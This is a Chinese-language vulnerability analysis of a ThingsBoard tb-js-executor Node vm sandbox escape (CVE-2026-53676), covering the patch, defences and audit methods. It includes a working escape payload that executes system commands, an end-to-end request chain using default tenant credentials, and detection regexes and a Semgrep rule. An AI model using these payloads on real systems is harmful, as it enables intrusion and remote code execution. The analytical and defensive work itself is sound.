免责声明:本文仅用于安全技术研究与防御体系建设。文中所有测试均在本地隔离环境完成,未对任何未授权系统进行测试。请勿将文中技术用于非法用途,否则后果自负。

一、前言

Node.js 的 vm 模块从诞生起就伴随着一个反复被强调、又反复被忽视的事实:它不是安全边界。官方文档里那句 "The vm module is not a security mechanism. Do not use it to run untrusted code." 几乎每隔一两年就会被一个新的 CVE 重新验证一次。

2026 年 6 月,JVN 披露了编号 JVN#16937365 的漏洞,随后分配为 CVE-2026-53676。受影响的是开源物联网平台 ThingsBoard 的远程脚本执行器 tb-js-executor:租户管理员提交的规则链脚本,本应在 Node vm 沙箱中受限执行,却可以通过 args 参数的原型链拿到**宿主 realm(运行环境)**的 Function 构造器,进而读取 process、加载 child_process、在容器内执行任意命令。

这个漏洞的技术含量不算高,但它的价值在于三点:

  1. 根因极其典型——"跨 realm 对象混淆",是 Node 生态里最高频、最容易被忽视的一类沙箱缺陷;

  2. 补丁写得很"教科书"——官方不仅修了代码,还把攻击载荷直接写进了单元测试和黑盒测试,等于把复现步骤公开了一半;

  3. 公开资料极少——截至本文成稿,中文互联网上几乎检索不到该漏洞的复现与分析文章,EPSS 仅 0.6%。

本文将从环境搭建、最小化复现、原理剖析、补丁逆向、真实攻击链、检测防御、同类挖掘七个维度完整拆解这个漏洞。所有截图均来自笔者的本地复现环境。

二、漏洞概述

项目

内容

漏洞编号

CVE-2026-53676 / JVN#16937365

漏洞类型

CWE-1321 原型污染 → Node vm 沙箱逃逸 → 远程代码执行

影响组件

ThingsBoard msa/js-executor(tb-js-executor)

影响版本

v4.3.1.2 之前;LTS 4.2 分支 4.2.2.2 之前

权限要求

TENANT_ADMIN(租户管理员)

CVSS

7.2(CVSS 3.0)/ 8.6(CVSS 4.0)

利用状态

公开 PoC 无,EPSS 约 0.6%

修复补丁

PR #15600(11 文件,+226/−5)

图 1:CVE 记录页。注意 CVSS 7.2 / 8.6、CWE-1321、Exploitation: none、EPSS 0.60% 几个字段,它们共同说明这是一个"技术价值高、实际利用少"的漏洞,正适合做深度分析而非流量型复现。

从官方描述看,漏洞被归类为"原型污染导致沙箱上下文内的任意代码执行"。但读完补丁就会发现,"原型污染"这个标签其实不够准确——它并不是往 Object.prototype 上写属性,而是利用 args 对象原型链的归属错位,直接把宿主 realm 的 Function 构造器借了出来。这也是本文要重点讲清楚的地方。

图 2:PR #15600 的描述。作者写得很直白:Hardens the tb-js-executor sandboxed invokeScript so script arguments are constructed inside the sandbox context instead of being passed in from the host realm——"参数改为在沙箱内构造,而不是从宿主 realm 传入"。这一句话就是整个漏洞的根因和修法。

2.1 披露时间线

从公开信息可以还原出一条相当清晰的时间线:

时间

事件

2026-05-07

修复 PR #15600 提交,关联内部工单 PROD-8016

2026-05-14

PR 合入 lts-4.2 分支,里程碑 4.2.2.2

2026-06-17

JVN 发布 JVN#16937365,同日分配 CVE-2026-53676

2026-06-18

CISA ADP 完成漏洞富化(SSVC),标注 Exploitation: none

这条时间线有两个值得注意的点。第一,补丁先于公告一个月合入,说明厂商走的是"先修后披露"的正常流程,这也解释了为什么公开资料里几乎找不到"漏洞爆发期"的讨论。第二,CISA 的 SSVC 判定是 Automatable: no——因为利用需要租户管理员权限且依赖特定部署形态,自动化扫描器很难批量打,这也是它没有进入 KEV 目录的原因。

对研究者的启示是:这类"低曝光、高教学价值"的漏洞,往往比热搜上的 9.8 分漏洞更适合做深度分析——资料少,意味着你必须自己读代码;而代码又足够小,读得完。

三、环境搭建

这个漏洞最讨喜的地方在于:核心原语的验证不需要 Docker、不需要数据库、不需要把 ThingsBoard 跑起来。

3.1 最小化环境

  • 操作系统:Windows 10/11(Linux/macOS 同样适用)

  • Node.js:≥ 18(本文实测 v24.21.0)

  • 代码:ThingsBoard v4.3.1 的 msa/js-executor/api/jsExecutor.ts(官方原始文件)

  • 依赖:无

之所以能这么轻,是因为漏洞发生在纯 Node 层:JsExecutor 类只依赖 vm 模块,输入是"脚本字符串 + 参数数组",输出是执行结果。把它从 ThingsBoard 里单独摘出来,逻辑上完全等价。

图 3:run.cmd -v 输出版本号,确认运行时可用。项目里提供了 run.cmd / repro.cmd 两个包装脚本,用于在 PATH 中没有 node 的机器上自动定位运行时并统一 UTF-8 输出。

3.2 完整环境(可选)

如果要还原真实 HTTP 入口,则需要:

  • ThingsBoard 微服务版 docker-compose(tb-node、tb-js-executor、Kafka、PostgreSQL、Redis)

  • 配置 JS_EVALUATOR=remote,使脚本真正走 Kafka 到 tb-js-executor

  • 用默认租户账号 tenant@thingsboard.org / tenant 登录(官方黑盒测试用的正是这个账号)

需要说明的是:单机版(monolith)默认使用本地执行器,不经过 tb-js-executor,因此不受该漏洞影响。漏洞的可达性与部署形态强相关,这一点在评估影响面时非常关键,后文"攻击链"一节会详细展开。

四、漏洞复现

4.1 漏洞代码定位

先看 v4.3.1 的原始实现。核心只有三行:

图 4:jsExecutor.ts 第 59–61 行,整个漏洞的全部根因。

private invokeScript(script: Script, args: string[], timeout: number | undefined): Promise<any> {
    return new Promise((resolve, reject) => {
        try {
            const sandbox = Object.create(null);      // 59
            sandbox.args = args;                      // 60
            const result = script.runInNewContext(sandbox, {timeout: timeout});  // 61
            resolve(result);
        } catch (err) {
            reject(err);
        }
    });
}

三行代码,三个关键事实:

  1. sandbox 用 Object.create(null) 创建,没有原型——看起来"很干净";

  2. sandbox.args = args 把宿主侧传入的数组直接挂到沙箱全局对象上;

  3. script.runInNewContext(sandbox) 只是把 sandbox 当作新上下文的全局对象,并不会重建 args 的原型链。

args 是宿主 realm 里 new 出来的数组,它的 constructor 是宿主 Array,Array.constructor 是宿主 Function。于是沙箱内一行代码就能越狱:

args.constructor.constructor('return process')()

4.2 复现脚本

复现脚本模拟了 ThingsBoard "规则链测试脚本"接口的输入形态:

const ATTACK_SCRIPT = `
function (msg, metadata, msgType) {
  // 沙箱上下文本身不含 process
  var sandboxHasProcess = (typeof process !== 'undefined');

  // 核心:args 属于宿主 realm,则 .constructor 是宿主 Array,
  // 再取 .constructor 即宿主 Function
  var HostFunction = args.constructor.constructor;

  var p = HostFunction('return process')();

  // 拿到 process 后即可加载任意内置模块(CJS 主模块 / Node 22+ 二选一)
  var req = p.mainModule
    ? function (n) { return p.mainModule.require(n); }
    : function (n) { return p.getBuiltinModule(n); };

  var cp = req('node:child_process');
  cp.execSync('whoami > whoami.txt', { stdio: 'ignore', shell: 'cmd.exe' });

  return {
    sandboxHasProcess: sandboxHasProcess,
    processReachable: true,
    hostPid: p.pid,
    whoami: req('node:fs').readFileSync('whoami.txt', 'utf8').trim()
  };
}`;

说明:execSync 默认使用管道 stdio,而笔者的执行环境限制了管道创建,因此改为"命令输出落盘再读回"。这不影响逃逸结论——hostPid 与本进程一致已经独立证明了代码运行在宿主 realm。

4.3 复现结果

图 5:漏洞版执行结果。三个字段构成完整证据链:

  • "sandboxHasProcess": false —— 沙箱里本来没有 process,排除"全局对象注入"的可能;

  • "processReachable": true + "hostPid": 10520 —— 与顶部 Node: v24.21.0 pid: 10520 完全一致,证明脚本命中的是同一个 Node 进程;

  • "whoami": "laptop-svenj59b\\administrator" —— 逃逸后成功执行系统命令。

图 7 是另一次运行的完整输出,PID 为 14880,与图 5 的 10520 不同属正常现象——每次运行都是新进程,判断标准始终是"同一次输出内,顶部 pid 与 hostPid 是否一致"。

作为对照,官方修复版在同一载荷下直接抛出 ReferenceError:

图 6:修复版输出 "error": "process is not defined",逃逸被阻断;exit code: 0 说明脚本对"漏洞版成功、修复版阻断"两个断言都通过了。

图 7:一次运行的完整输出,可以直观看到"漏洞版逃逸 → 修复版阻断 → use_sandbox=false 参考路径"三段对比。

值得一提的是最后那段 use_sandbox=false:它不需要逃逸就能直接拿到 process,因为这条路径本来就在宿主 realm 里编译执行。官方在补丁里把它标注为 dangerous by design(有意保留的危险设计),这既是性能取舍,也是后续审计的重点。

五、原理分析:为什么"没有原型"的沙箱仍然漏

5.1 V8 的 realm 模型

要理解这个漏洞,必须先理解 V8 的 realm(域)。

一个 realm 可以粗略理解为"一套独立的内建对象 + 一个全局对象"。每调用一次 vm.createContext(),V8 就会创建一个新的 realm,它拥有自己的 Object.prototype、Array.prototype、Function.prototype、Error.prototype……这些内建对象彼此独立,互不相等:

const vm = require('node:vm');
const ctx = vm.createContext({});
vm.runInContext('Array.prototype === Array.prototype', ctx); // true
// 但沙箱里的 Array 与宿主的 Array 不是同一个对象
vm.runInContext('Array', ctx) === Array;                     // false

关键点在于:内建对象是按 realm 隔离的,但对象一旦被创建,它的原型链就永久属于创建它的那个 realm。把一个宿主对象传进沙箱,不会让它"改籍"。

5.2 contextify 做了什么、没做什么

vm.runInNewContext(code, sandbox) 的内部流程是:

  1. 用 sandbox 创建一个新的 context(contextify);

  2. 在 context 里编译并执行 code;

  3. 返回执行结果。

所谓 contextify,是把 sandbox 的属性映射为新上下文的全局属性。注意是"映射",不是"深拷贝",更不是"重建"。

所以执行 sandbox.args = args 之后,沙箱全局对象上的 args 属性,指向的仍然是宿主内存里的那个数组对象。它的 [[Prototype]] 依旧是宿主 Array.prototype。

Object.create(null) 在这里起到了"心理安慰"的作用:它只保证 sandbox 这个容器自身没有原型(因此不存在 sandbox.constructor 这种入口),但完全不影响挂在它上面的值。args 该是宿主对象还是宿主对象。

5.3 Function 构造器的 realm 归属

这是整个逃逸链条的最后一环。

args.constructor 是宿主 Array;Array.constructor 是宿主 Function。而 Function 构造器有一个特性:它编译出来的函数,运行在"构造器所属的 realm"里。

const HostFunction = args.constructor.constructor;  // 宿主 Function
HostFunction('return process')();                    // 在宿主 realm 求值

'return process' 这段代码在宿主的全局作用域里编译执行,而 Node 的 process 是全局对象上的属性,于是函数顺利返回了宿主 process。拿到 process 之后,process.mainModule.require()(CJS)或 process.getBuiltinModule()(Node 22+)就能加载任意内置模块,child_process、fs、net 全部解锁。

这也解释了为什么复现结果里 "sandboxHasProcess": false 却 "processReachable": true——沙箱里确实没有 process,但攻击者借宿主的 Function 在自己的 realm 里"变"出了一个。

5.4 逃逸面不止数组

很多人以为这只是"数组没处理好",其实不然。任何宿主创建的对象,只要能在沙箱里被访问到,就都带有 .constructor.constructor 这条链:

传入沙箱的宿主对象

.constructor

.constructor.constructor

[]、new Array()

宿主 Array

宿主 Function

{}、Object.create({})

宿主 Object

宿主 Function

function(){}

宿主 Function

宿主 Function

Promise.resolve()

宿主 Promise

宿主 Function

new Error()

宿主 Error

宿主 Function

new Date()

宿主 Date

宿主 Function

换句话说,只要上下文对象里混进了任何一个宿主"活对象",沙箱就已经破了。真正安全的做法只有两条:要么只传原始值(string/number/boolean/null/undefined),要么在沙箱内部重新构造对象。

这也正是补丁选择"在沙箱内造数组"而不是"对参数做 JSON 序列化"的原因——前者更便宜,且不改变参数语义。

5.5 几种"看起来修了"的错误修法

在审计同类代码时,下面这些写法经常出现,但它们都不能真正解决问题:

// ❌ 错误 1:只清理 sandbox 自身
const sandbox = Object.create(null);
sandbox.args = args;                 // args 仍是宿主对象

// ❌ 错误 2:JSON 深拷贝但漏了函数/特殊对象
const sandbox = { args: JSON.parse(JSON.stringify(args)) };
// 对纯字符串数组有效,但一旦有函数、Symbol、循环引用就失效或抛错

// ❌ 错误 3:以为 vm.compileFunction 的 parsingContext 能隔离执行
const func = vm.compileFunction(code, ['args'], { parsingContext: vm.createContext({}) });
// parsingContext 只影响"解析阶段"的作用域,函数体执行时仍在宿主 realm

// ❌ 错误 4:相信 vm2 / 自研沙箱
// vm2 已因多次沙箱逃逸停止维护;vm 本身从来不是安全边界

其中第 3 条正是 ThingsBoard use_sandbox=false 路径的实现方式——官方在补丁注释里明确写了:"parsingContext only isolates parsing, not execution"。

六、补丁分析

6.1 diff 逐行解读

图 8:PR #15600 中 jsExecutor.ts 的核心改动(红删绿增)。

修复后的实现:

private invokeScript(script: Script, args: string[], timeout: number | undefined): Promise<any> {
    return new Promise((resolve, reject) => {
        try {
            const sandbox = vm.createContext(Object.create(null));        // 1
            const ctxArgs = vm.runInContext('[]', sandbox) as string[];   // 2
            for (let i = 0; i < args.length; i++) {
                ctxArgs[i] = String(args[i]);                             // 3
            }
            sandbox.args = ctxArgs;                                       // 4
            const result = script.runInContext(sandbox, {timeout: timeout}); // 5
            resolve(result);
        } catch (err) {
            reject(err);
        }
    });
}

五步,每一步都有明确目的:

  1. 显式 contextify:拿到一个可以在沙箱内执行代码的句柄。原来的 runInNewContext 是"创建上下文 + 执行"一步到位,没有先手机会;

  2. 在沙箱内求值 []:这行是关键。vm.runInContext('[]', sandbox) 让数组字面量在沙箱 realm 里求值,产出的数组原型链属于沙箱,而不是宿主;

  3. 逐项写入原始值:String() 保证写入的只是字符串,不引入任何宿主对象;

  4. 挂载到沙箱全局:此时 sandbox.args 已经是"沙箱籍"的数组;

  5. 改用 runInContext 执行用户脚本:上下文已经准备好,不再需要 runInNewContext。

6.2 为什么必须"先 createContext 再 runInContext"

这是补丁里最值得学习的设计细节。

vm.Script 有两个执行方法:

方法

上下文参数

行为

script.runInNewContext(obj)

普通对象

现场 contextify 并执行,一次性完成,无法在用户代码运行前"动"上下文

script.runInContext(ctx)

已 contextify 的对象

在预先准备好的上下文里执行

补丁需要在用户脚本运行之前,先在沙箱里执行一段 '[]' 来构造数组。要做到这一点,必须先把上下文创建出来、拿到句柄,因此只能用 createContext + runInContext 的组合。PR 描述里专门用一张表格解释了这个取舍,可见作者对这个细节的重视。

6.3 补丁的副作用与边界

补丁除了修 invokeScript,还做了两件事:

  • 给 use_sandbox=false 增加启动 WARN 日志、YAML 注释与代码注释,明确标注"dangerous by design";

  • 新增 4 个 Node 单元测试 + 1 个黑盒测试,把攻击载荷写进用例,防止回归。

但补丁没有改变 use_sandbox=false 的行为。这条路径下,用户脚本通过 vm.compileFunction 编译后直接 func(args) 调用,运行在宿主 realm,拥有完整的 process、require 能力。官方选择保留它(性能取舍),只做文档化警告。对防守方而言,这意味着:即使升级到修复版本,只要配置里把 use_sandbox 关掉,沙箱依然形同虚设。

另一个值得注意的细节是:master 分支在 PR 之后还有一轮加固(为沙箱补上 btoa/atob/TextDecoder 的宿主桥),说明官方在持续收敛 vm 的暴露面,但这类"打补丁式加固"很难穷尽——只要还有宿主对象能进沙箱,就还有下一个逃逸点。

6.4 官方测试用例就是半个 PoC

补丁里的黑盒测试 JsExecutorSandboxIsolationTest 几乎把利用过程写完了:

JsonNode response = testRestClient.testRuleChainScript("""
    {
      "script": "var F = args.constructor.constructor; var p = F('return process')(); return { reachedHost: !!(p && p.mainModule) };",
      "scriptType": "update",
      "argNames": ["msg", "metadata", "msgType"],
      "msg": "{}",
      "metadata": {},
      "msgType": "POST_TELEMETRY_REQUEST"
    }
    """);
assertThat(response.get("error").asText()).contains("process is not defined");

这段代码同时透露了三个信息:入口是 /api/ruleChain/testScript;请求体字段是 script / argNames / msg / metadata / msgType;修复后的预期错误是 process is not defined。对研究者和检测工程师来说,这是比任何博客都精确的"规格说明"。

七、真实攻击链与影响评估

7.1 调用链

TENANT_ADMIN(默认 tenant@thingsboard.org / tenant)
  └─ POST /api/ruleChain/testScript          RuleChainController,@PreAuthorize 校验 TENANT_ADMIN
       └─ tb-node ── Kafka topic: js_eval.requests ──▶ tb-js-executor
            └─ JsExecutor.compileScript → invokeScript → vm 逃逸
                 └─ 在 tb-js-executor 容器内执行任意命令

这条链上有三个关键节点:

  1. HTTP 入口:/api/ruleChain/testScript,需要 TENANT_ADMIN 权限。ThingsBoard 默认安装带有一个租户管理员账号(官方测试直接使用 tenant@thingsboard.org / tenant),如果部署后未修改默认口令,实际利用门槛会进一步降低;

  2. 消息队列:脚本通过 Kafka 投递到执行器,中间没有二次内容校验;

  3. 执行器:tb-js-executor 是独立的 Node 进程,逃逸发生在这里。

7.2 影响边界

必须如实说明:代码执行发生在 tb-js-executor 进程/容器内,不是 tb-node 的 JVM 内。

但"只是执行器"并不意味着危害有限:

  • 执行器容器通常持有 Kafka 连接信息,可能还有数据库、缓存凭据;

  • 从执行器容器出发,可以访问同网段的 tb-node、PostgreSQL、Redis,形成横向移动的支点;

  • 如果部署方把执行器与主服务放在同一 Pod / 同一主机(不少中小规模部署会这么做),实际影响会进一步放大。

7.3 可达性前提

这个漏洞的可达性与部署形态强相关,评估时必须先确认:

  • 是否使用微服务部署,且 JS_EVALUATOR=remote(脚本真正走 Kafka 到 tb-js-executor);

  • 是否使用单机版(monolith)默认的本地执行器——如果是,漏洞组件不参与执行,不受影响;

  • 是否允许租户管理员创建/测试规则链脚本(默认允许)。

这也是为什么漏洞的 CVSS 只有 7.2/8.6 而非 9.8:它需要较高权限,且依赖特定部署形态。但对于多租户 SaaS 场景,租户管理员往往是"外部用户",此时 PR:H 的实际含义会被削弱——租户之间的隔离假设被打破了。

7.4 端到端复现步骤(L2)

最小化复现验证的是"原语",端到端复现验证的是"链路"。步骤如下:

第一步,启动微服务栈。 官方仓库的 msa 目录提供了微服务版 compose(tb-node、tb-js-executor、Kafka、PostgreSQL、Redis)。启动后确认环境变量 JS_EVALUATOR=remote,否则脚本会走本地执行器,打不到漏洞组件。

第二步,登录取 token。

curl -s -X POST http://127.0.0.1:8080/api/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"tenant@thingsboard.org","password":"tenant"}'

返回体中取 token 字段。默认口令在生产环境通常已被修改,这里使用默认值只是为了还原官方测试条件。

第三步,提交测试脚本。 脚本内容里同时有单引号和双引号,直接写进 shell 很容易转义出错,建议放到 JSON 文件里用 -d @payload.json 提交:

{
  "script": "var F = args.constructor.constructor; var p = F('return process')(); return { pid: p.pid, cwd: p.cwd() };",
  "scriptType": "update",
  "argNames": ["msg", "metadata", "msgType"],
  "msg": "{}",
  "metadata": {},
  "msgType": "POST_TELEMETRY_REQUEST"
}
curl -s -X POST http://127.0.0.1:8080/api/ruleChain/testScript \
  -H "X-Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  --data @payload.json

第四步,判读响应。 漏洞版本会返回 output,其中 pid 是 tb-js-executor 进程的 PID;修复版本则返回 error,内容包含 process is not defined。这一对"成功/失败"的差异,与官方黑盒测试的断言完全一致。

需要强调的是:端到端复现涉及多个容器与消息队列,资源开销远大于 L1。如果只是为了写分析文章,L1 已经足够支撑"漏洞成立、补丁有效"两个结论;L2 更适合用于验证"真实入口可达",或者在授权渗透项目中做影响面确认。

八、检测与防御

8.1 升级

  • 4.3.x 升级到 4.3.1.2 及以上;

  • LTS 4.2 分支升级到 4.2.2.2 及以上。

8.2 配置加固

  • 确认 script.use_sandbox: "true"。这不是"可选项",而是唯一的隔离手段;

  • 非必要不开放租户自助创建规则链脚本的权限;

  • 强制修改默认租户管理员口令,禁止 tenant/tenant 这类默认凭据暴露在可达网络;

  • 对 tb-js-executor 做网络隔离,限制其出站访问,降低被横向利用的价值。

8.3 检测特征

日志/流量侧:Kafka js_eval.requests 主题中的脚本正文,若出现下列特征,可直接告警:

constructor\s*\.\s*constructor
mainModule\s*\.\s*require
getBuiltinModule
process\s*\.\s*binding
process\s*\.\s*env
require\s*\(\s*['"]child_process

主机侧:

  • tb-js-executor 进程异常创建子进程(正常执行脚本不应 spawn);

  • 容器内出现 whoami、id、curl、wget 等命令痕迹;

  • 执行器对 Kafka、数据库之外地址的异常外连。

审计侧:把"沙箱逃逸"当成一类缺陷而非单个 CVE 来查——见下一节。

8.4 一条可落地的 Semgrep 规则草案

把上面的判断标准写成规则,就能在 CI 里拦住同类写法。下面这条规则针对"先在宿主侧给上下文对象赋值、再执行"的典型模式:

rules:
  - id: node-vm-host-realm-object-in-context
    languages: [javascript, typescript]
    severity: WARNING
    message: |
      vm 上下文对象中可能出现宿主 realm 对象。
      宿主对象的 constructor.constructor 可在沙箱内取到宿主 Function,
      进而访问 process / require,造成沙箱逃逸。
    patterns:
      - pattern: |
          $CTX.$PROP = $ARG;
          ...
          $SCRIPT.runInNewContext($CTX, ...)
    metadata:
      cwe: "CWE-1321"
      confidence: MEDIUM
      references:
        - https://nodejs.org/api/vm.html

这条规则只覆盖 runInNewContext 这一种形态,属于"低成本起步版"。工程化落地时至少要补三类模式:vm.createContext 之后继续往上下文里挂宿主对象的写法、runInContext 的可疑上下文来源、以及 compileFunction 被当作隔离手段的误用。规则一定会有误报,关键是把"命中"当作人工复核的入口,而不是直接当作漏洞结论——这与第 9 节"三问"的思路是一致的。

九、同类漏洞挖掘思路

9.1 先清点 sink

Node 生态里与 vm 相关的 API 并不多,完全可以枚举:

vm.runInNewContext / vm.runInContext / vm.runInThisContext
vm.createContext
vm.compileFunction
new vm.Script(...)  /  new Script(...)

笔者的清点脚本对 ThingsBoard 的 src 目录扫描,命中 23 处调用点:

图 9:23 个调用点,覆盖漏洞版、修复版与移植版。清点本身不判断安全性,它的价值在于把"需要人工复核的位置"从几十万行代码压缩到 23 行。

图 10:扫描输出的细节与复核要点。三条判断标准写在脚本结尾,可以直接当作审计 checklist。

9.2 三个判断问题

对每个 sink,问三个问题即可快速定性:

  1. 上下文对象里有没有宿主"活对象"?(数组、对象、函数、Promise、Error……)

  2. 上下文属性是不是直接来自请求参数?(有没有在沙箱内重建)

  3. 有没有把 compileFunction / use_sandbox=false 当成隔离手段?

三问里任意一个答案是"是",基本就可以判定存在逃逸风险。

9.3 生态对照

  • vm2:曾是最流行的"安全沙箱"库,因多次沙箱逃逸(Promise 链、Error 原型链等)最终停止维护。它和本案的根因是同一类:跨 realm 对象把宿主 Function 带进了沙箱;

  • 低代码/规则引擎:几乎所有"用户可写脚本"的产品都会踩这个坑,区别只在于传进去的是 args、context、scope 还是 sandbox;

  • 在线评测(OJ)/ 插件系统:同理,任何"用 vm 隔离不可信代码"的设计,都应当被默认视为不安全。

十、总结

CVE-2026-53676 是一个"小代码、大道理"的漏洞。它的修复只改了不到十行,却精准命中了 Node vm 最根本的设计事实:

vm 隔离的是全局对象,不是原型链;而原型链才是逃逸的入口。

三点启示:

  1. 不要用 vm 隔离不可信代码。这不是"配置问题",而是 API 的语义边界。真要做隔离,应该用进程级隔离(子进程 + 权限收敛)或 isolated-vm 这类基于 V8 Isolate 的方案;

  2. 跨 realm 对象是沙箱的"特洛伊木马"。传参前先问一句:这个对象是谁创建的?如果是宿主创建的,就不要传;

  3. 补丁要看"没改什么"。本案里 use_sandbox=false 被有意保留,这比修好的那几行更值得写进检测规则。

最后,这个漏洞公开资料极少,官方补丁里的测试用例又几乎把 PoC 写完了——对学习者来说,它是一个非常好的"从补丁反推漏洞、从漏洞反推审计方法"的样本。

参考